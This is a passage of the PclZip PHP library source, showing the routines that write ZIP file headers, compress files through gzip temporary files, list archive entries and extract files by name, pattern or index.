      $p_header['status'] = "filtered";
    }

    // ----- Check the path length
    if (strlen($p_header['stored_filename']) > 0xFF) {
      $p_header['status'] = 'filename_too_long';
    }

    // ----- Look if no error, or file not skipped
    if ($p_header['status'] == 'ok') {

      // ----- Look for a file
      if ($p_filedescr['type'] == 'file') {
        // ----- Look for using temporary file to zip
        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
          $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
          if ($v_result < PCLZIP_ERR_NO_ERROR) {
            return $v_result;
          }
        }

        // ----- Use "in memory" zip algo
        else {

        // ----- Open the source file
        if (($v_file = @fopen($p_filename, "rb")) == 0) {
          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
          return PclZip::errorCode();
        }

        // ----- Read the file content
        if ($p_header['size'] > 0) {
          $v_content = @fread($v_file, $p_header['size']);
        }
        else {
          $v_content = '';
        }

        // ----- Close the file
        @fclose($v_file);

        // ----- Calculate the CRC
        $p_header['crc'] = @crc32($v_content);

        // ----- Look for no compression
        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
          // ----- Set header parameters
          $p_header['compressed_size'] = $p_header['size'];
          $p_header['compression'] = 0;
        }

        // ----- Look for normal compression
        else {
          // ----- Compress the content
          $v_content = @gzdeflate($v_content);

          // ----- Set header parameters
          $p_header['compressed_size'] = strlen($v_content);
          $p_header['compression'] = 8;
        }

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
          @fclose($v_file);
          return $v_result;
        }

        // ----- Write the compressed (or not) content
        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);

        }

      }

      // ----- Look for a virtual file (a file from string)
      else if ($p_filedescr['type'] == 'virtual_file') {

        $v_content = $p_filedescr['content'];

        // ----- Calculate the CRC
        $p_header['crc'] = @crc32($v_content);

        // ----- Look for no compression
        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
          // ----- Set header parameters
          $p_header['compressed_size'] = $p_header['size'];
          $p_header['compression'] = 0;
        }

        // ----- Look for normal compression
        else {
          // ----- Compress the content
          $v_content = @gzdeflate($v_content);

          // ----- Set header parameters
          $p_header['compressed_size'] = strlen($v_content);
          $p_header['compression'] = 8;
        }

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
          @fclose($v_file);
          return $v_result;
        }

        // ----- Write the compressed (or not) content
        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
      }

      // ----- Look for a directory
      else if ($p_filedescr['type'] == 'folder') {
        // ----- Look for directory last '/'
        if (@substr($p_header['stored_filename'], -1) != '/') {
          $p_header['stored_filename'] .= '/';
        }

        // ----- Set the file properties
        $p_header['size'] = 0;
        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
        {
          return $v_result;
        }
      }
    }

    // ----- Look for post-add callback
    if (isset($p_options[PCLZIP_CB_POST_ADD])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_header, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
      if ($v_result == 0) {
        // ----- Ignored
        $v_result = 1;
      }

      // ----- Update the information
      // Nothing can be modified
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFileUsingTempFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
  {
    $v_result=PCLZIP_ERR_NO_ERROR;

    // ----- Working variable
    $p_filename = $p_filedescr['filename'];


    // ----- Open the source file
    if (($v_file = @fopen($p_filename, "rb")) == 0) {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
      return PclZip::errorCode();
    }

    // ----- Creates a compressed temporary file
    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
    if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
      fclose($v_file);
      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
      return PclZip::errorCode();
    }

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = filesize($p_filename);
    while ($v_size != 0) {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_file, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @gzputs($v_file_compressed, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close the file
    @fclose($v_file);
    @gzclose($v_file_compressed);

    // ----- Check the minimum file size
    if (filesize($v_gzip_temp_name) < 18) {
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
      return PclZip::errorCode();
    }

    // ----- Extract the compressed attributes
    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }

    // ----- Read the gzip file header
    $v_binary_data = @fread($v_file_compressed, 10);
    $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);

    // ----- Check some parameters
    $v_data_header['os'] = bin2hex($v_data_header['os']);

    // ----- Read the gzip file footer
    @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
    $v_binary_data = @fread($v_file_compressed, 8);
    $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);

    // ----- Set the attributes
    $p_header['compression'] = ord($v_data_header['cm']);
    //$p_header['mtime'] = $v_data_header['mtime'];
    $p_header['crc'] = $v_data_footer['crc'];
    $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;

    // ----- Close the file
    @fclose($v_file_compressed);

    // ----- Call the header generation
    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
      return $v_result;
    }

    // ----- Add the compressed data
    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
    {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    fseek($v_file_compressed, 10);
    $v_size = $p_header['compressed_size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_file_compressed, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close the file
    @fclose($v_file_compressed);

    // ----- Unlink the temporary file
    @unlink($v_gzip_temp_name);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCalculateStoredFilename()
  // Description :
  //   Based on file descriptor properties and global options, this method
  //   calculate the filename that will be stored in the archive.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
  {
    $v_result=1;

    // ----- Working variables
    $p_filename = $p_filedescr['filename'];
    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
    }
    else {
      $p_add_dir = '';
    }
    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
    }
    else {
      $p_remove_dir = '';
    }
    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
    }
    else {
      $p_remove_all_dir = 0;
    }


    // ----- Look for full name change
    if (isset($p_filedescr['new_full_name'])) {
      // ----- Remove drive letter if any
      $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
    }

    // ----- Look for path and/or short name change
    else {

      // ----- Look for short name change
      // Its when we change just the filename but not the path
      if (isset($p_filedescr['new_short_name'])) {
        $v_path_info = pathinfo($p_filename);
        $v_dir = '';
        if ($v_path_info['dirname'] != '') {
          $v_dir = $v_path_info['dirname'].'/';
        }
        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
      }
      else {
        // ----- Calculate the stored filename
        $v_stored_filename = $p_filename;
      }

      // ----- Look for all path to remove
      if ($p_remove_all_dir) {
        $v_stored_filename = basename($p_filename);
      }
      // ----- Look for partial path remove
      else if ($p_remove_dir != "") {
        if (substr($p_remove_dir, -1) != '/')
          $p_remove_dir .= "/";

        if (   (substr($p_filename, 0, 2) == "./")
            || (substr($p_remove_dir, 0, 2) == "./")) {

          if (   (substr($p_filename, 0, 2) == "./")
              && (substr($p_remove_dir, 0, 2) != "./")) {
            $p_remove_dir = "./".$p_remove_dir;
          }
          if (   (substr($p_filename, 0, 2) != "./")
              && (substr($p_remove_dir, 0, 2) == "./")) {
            $p_remove_dir = substr($p_remove_dir, 2);
          }
        }

        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
                                             $v_stored_filename);
        if ($v_compare > 0) {
          if ($v_compare == 2) {
            $v_stored_filename = "";
          }
          else {
            $v_stored_filename = substr($v_stored_filename,
                                        strlen($p_remove_dir));
          }
        }
      }

      // ----- Remove drive letter if any
      $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);

      // ----- Look for path to add
      if ($p_add_dir != "") {
        if (substr($p_add_dir, -1) == "/")
          $v_stored_filename = $p_add_dir.$v_stored_filename;
        else
          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
      }
    }

    // ----- Filename (reduce the path of stored name)
    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
    $p_filedescr['stored_filename'] = $v_stored_filename;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Store the offset position of the file
    $p_header['offset'] = ftell($this->zip_fd);

    // ----- Transform UNIX mtime to DOS format mdate/mtime
    $v_date = getdate($p_header['mtime']);
    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];

    // ----- Packed data
    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
	                      $p_header['version_extracted'], $p_header['flag'],
                          $p_header['compression'], $v_mtime, $v_mdate,
                          $p_header['crc'], $p_header['compressed_size'],
						  $p_header['size'],
                          strlen($p_header['stored_filename']),
						  $p_header['extra_len']);

    // ----- Write the first 148 bytes of the header in the archive
    fputs($this->zip_fd, $v_binary_data, 30);

    // ----- Write the variable fields
    if (strlen($p_header['stored_filename']) != 0)
    {
      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
    }
    if ($p_header['extra_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteCentralFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteCentralFileHeader(&$p_header)
  {
    $v_result=1;

    // TBC
    //for(reset($p_header); $key = key($p_header); next($p_header)) {
    //}

    // ----- Transform UNIX mtime to DOS format mdate/mtime
    $v_date = getdate($p_header['mtime']);
    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];


    // ----- Packed data
    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
	                      $p_header['version'], $p_header['version_extracted'],
                          $p_header['flag'], $p_header['compression'],
						  $v_mtime, $v_mdate, $p_header['crc'],
                          $p_header['compressed_size'], $p_header['size'],
                          strlen($p_header['stored_filename']),
						  $p_header['extra_len'], $p_header['comment_len'],
                          $p_header['disk'], $p_header['internal'],
						  $p_header['external'], $p_header['offset']);

    // ----- Write the 42 bytes of the header in the zip file
    fputs($this->zip_fd, $v_binary_data, 46);

    // ----- Write the variable fields
    if (strlen($p_header['stored_filename']) != 0)
    {
      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
    }
    if ($p_header['extra_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
    }
    if ($p_header['comment_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteCentralHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
  {
    $v_result=1;

    // ----- Packed data
    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
	                      $p_nb_entries, $p_size,
						  $p_offset, strlen($p_comment));

    // ----- Write the 22 bytes of the header in the zip file
    fputs($this->zip_fd, $v_binary_data, 22);

    // ----- Write the variable fields
    if (strlen($p_comment) != 0)
    {
      fputs($this->zip_fd, $p_comment, strlen($p_comment));
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privList()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privList(&$p_list)
  {
    $v_result=1;

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the zip file
    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
    {
      // ----- Magic quotes trick
      $this->privSwapBackMagicQuotes();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Go to beginning of Central Dir
    @rewind($this->zip_fd);
    if (@fseek($this->zip_fd, $v_central_dir['offset']))
    {
      $this->privSwapBackMagicQuotes();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read each entry
    for ($i=0; $i<$v_central_dir['entries']; $i++)
    {
      // ----- Read the file header
      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
      {
        $this->privSwapBackMagicQuotes();
        return $v_result;
      }
      $v_header['index'] = $i;

      // ----- Get the only interesting attributes
      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
      unset($v_header);
    }

    // ----- Close the zip file
    $this->privCloseFd();

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privConvertHeader2FileInfo()
  // Description :
  //   This function takes the file information from the central directory
  //   entries and extract the interesting parameters that will be given back.
  //   The resulting file infos are set in the array $p_info
  //     $p_info['filename'] : Filename with full path. Given by user (add),
  //                           extracted in the filesystem (extract).
  //     $p_info['stored_filename'] : Stored filename in the archive.
  //     $p_info['size'] = Size of the file.
  //     $p_info['compressed_size'] = Compressed size of the file.
  //     $p_info['mtime'] = Last modification date of the file.
  //     $p_info['comment'] = Comment associated with the file.
  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
  //     $p_info['status'] = status of the action on the file.
  //     $p_info['crc'] = CRC of the file content.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privConvertHeader2FileInfo($p_header, &$p_info)
  {
    $v_result=1;

    // ----- Get the interesting attributes
    $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
    $p_info['filename'] = $v_temp_path;
    $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
    $p_info['stored_filename'] = $v_temp_path;
    $p_info['size'] = $p_header['size'];
    $p_info['compressed_size'] = $p_header['compressed_size'];
    $p_info['mtime'] = $p_header['mtime'];
    $p_info['comment'] = $p_header['comment'];
    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
    $p_info['index'] = $p_header['index'];
    $p_info['status'] = $p_header['status'];
    $p_info['crc'] = $p_header['crc'];

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractByRule()
  // Description :
  //   Extract a file or directory depending of rules (by index, by name, ...)
  // Parameters :
  //   $p_file_list : An array where will be placed the properties of each
  //                  extracted file
  //   $p_path : Path to add while writing the extracted files
  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
  //                    extracted files. If the path does not match the file path,
  //                    the file is extracted with its memorized path.
  //                    $p_remove_path does not apply to 'list' mode.
  //                    $p_path and $p_remove_path are commulative.
  // Return Values :
  //   1 on success,0 or less on error (see error code list)
  // --------------------------------------------------------------------------------
  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  {
    $v_result=1;

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Check the path
    if (   ($p_path == "")
	    || (   (substr($p_path, 0, 1) != "/")
		    && (substr($p_path, 0, 3) != "../")
			&& (substr($p_path,1,2)!=":/")))
      $p_path = "./".$p_path;

    // ----- Reduce the path last (and duplicated) '/'
    if (($p_path != "./") && ($p_path != "/"))
    {
      // ----- Look for the path end '/'
      while (substr($p_path, -1) == "/")
      {
        $p_path = substr($p_path, 0, strlen($p_path)-1);
      }
    }

    // ----- Look for path to remove format (should end by /)
    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
    {
      $p_remove_path .= '/';
    }
    $p_remove_path_size = strlen($p_remove_path);

    // ----- Open the zip file
    if (($v_result = $this->privOpenFd('rb')) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      // ----- Close the zip file
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      return $v_result;
    }

    // ----- Start at beginning of Central Dir
    $v_pos_entry = $v_central_dir['offset'];

    // ----- Read each entry
    $j_start = 0;
    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
    {

      // ----- Read next Central dir entry
      @rewind($this->zip_fd);
      if (@fseek($this->zip_fd, $v_pos_entry))
      {
        // ----- Close the zip file
        $this->privCloseFd();
        $this->privSwapBackMagicQuotes();

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read the file header
      $v_header = array();
      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
      {
        // ----- Close the zip file
        $this->privCloseFd();
        $this->privSwapBackMagicQuotes();

        return $v_result;
      }

      // ----- Store the index
      $v_header['index'] = $i;

      // ----- Store the file position
      $v_pos_entry = ftell($this->zip_fd);

      // ----- Look for the specific extract rules
      $v_extract = false;

      // ----- Look for extract by name rule
      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

          // ----- Look if the filename is in the list
          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {

              // ----- Look for a directory
              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                  // ----- Look if the directory is in the filename path
                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_extract = true;
                  }
              }
              // ----- Look for a filename
              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                  $v_extract = true;
              }
          }
      }

      // ----- Look for extract by ereg rule
      // ereg() is deprecated with PHP 5.3
      /*
      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {

          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
              $v_extract = true;
          }
      }
      */

      // ----- Look for extract by preg rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
              $v_extract = true;
          }
      }

      // ----- Look for extract by index rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

          // ----- Look if the index is in the list
          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {

              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                  $v_extract = true;
              }
              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                  $j_start = $j+1;
              }

              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                  break;
              }
          }
      }

      // ----- Look for no rule, which means extract all the archive
      else {
          $v_extract = true;
      }

	  // ----- Check compression method
	  if (   ($v_extract)
	      && (   ($v_header['compression'] != 8)
		      && ($v_header['compression'] != 0))) {
          $v_header['status'] = 'unsupported_compression';

          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

              $this->privSwapBackMagicQuotes();

              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
			                       "Filename '".$v_header['stored_filename']."' is "
				  	    	  	   ."compressed by an unsupported compression "
				  	    	  	   ."method (".$v_header['compression'].") ");

              return PclZip::errorCode();
		  }
	  }

	  // ----- Check encrypted files
	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
          $v_header['status'] = 'unsupported_encryption';

          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

              $this->privSwapBackMagicQuotes();

              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
			                       "Unsupported encryption for "
				  	    	  	   ." filename '".$v_header['stored_filename']
								   ."'");

              return PclZip::errorCode();
		  }
    }

      // ----- Look for real extraction
      if (($v_extract) && ($v_header['status'] != 'ok')) {
          $v_result = $this->privConvertHeader2FileInfo($v_header,
		                                        $p_file_list[$v_nb_extracted++]);
          if ($v_result != 1) {
              $this->privCloseFd();
              $this->privSwapBackMagicQuotes();
              return $v_result;
          }

          $v_extract = false;
      }

      // ----- Look for real extraction
      if ($v_extract)
      {

        // ----- Go to the file position
        @rewind($this->zip_fd);
        if (@fseek($this->zip_fd, $v_header['offset']))
        {
          // ----- Close the zip file
          $this->privCloseFd();

          $this->privSwapBackMagicQuotes();

          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

          // ----- Return
          return PclZip::errorCode();
        }

        // ----- Look for extraction as string
        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {

          $v_string = '';

          // ----- Extracting the file
          $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
          {
            // ----- Close the zip file
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
          }

          // ----- Set the file content
          $p_file_list[$v_nb_extracted]['content'] = $v_string;

          // ----- Next extracted file
          $v_nb_extracted++;

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
        // ----- Look for extraction in standard output
        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
          // ----- Extracting the file in standard output
          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result;
          }

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
        // ----- Look for normal extraction
        else {
          // ----- Extracting the file
          $v_result1 = $this->privExtractFile($v_header,
		                                      $p_path, $p_remove_path,
											  $p_remove_all_path,
											  $p_options);
          if ($v_result1 < 1) {
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();
            return $v_result1;
          }

          // ----- Get the only interesting attributes
          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
          {
            // ----- Close the zip file
            $this->privCloseFd();
            $this->privSwapBackMagicQuotes();

            return $v_result;
          }

          // ----- Look for user callback abort
          if ($v_result1 == 2) {
          	break;
          }
        }
      }
    }

    // ----- Close the zip file
    $this->privCloseFd();
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractFile()
  // Description :
  // Parameters :
  // Return Values :
  //
  // 1 : ... ?
  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
  // --------------------------------------------------------------------------------
  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  {
    $v_result=1;

    // ----- Read the file header
    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
    {
      // ----- Return
      return $v_result;
    }


    // ----- Check that the file header is coherent with $p_entry info
    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
        // TBC
    }

    // ----- Look for all path to remove
    if ($p_remove_all_path == true) {
        // ----- Look for folder entry that not need to be extracted
        if (($p_entry['external']&0x00000010)==0x00000010) {

            $p_entry['status'] = "filtered";

            return $v_result;
        }

        // ----- Get the basename of the path
        $p_entry['filename'] = basename($p_entry['filename']);
    }

    // ----- Look for path to remove
    else if ($p_remove_path != "")
    {
      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
      {

        // ----- Change the file status
        $p_entry['status'] = "filtered";

        // ----- Return
        return $v_result;
      }

      $p_remove_path_size = strlen($p_remove_path);
      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
      {

        // ----- Remove the path
        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);

      }
    }

    // ----- Add the path
    if ($p_path != '') {
      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
    }

    // ----- Check a base_dir_restriction
    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
      $v_inclusion
      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
                                $p_entry['filename']);
      if ($v_inclusion == 0) {

        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
			                     "Filename '".$p_entry['filename']."' is "
								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");

        return PclZip::errorCode();
      }
    }

    // ----- Look for pre-extract callback
    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_entry['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Look for abort result
      if ($v_result == 2) {
        // ----- This status is internal and will be changed in 'skipped'
        $p_entry['status'] = "aborted";
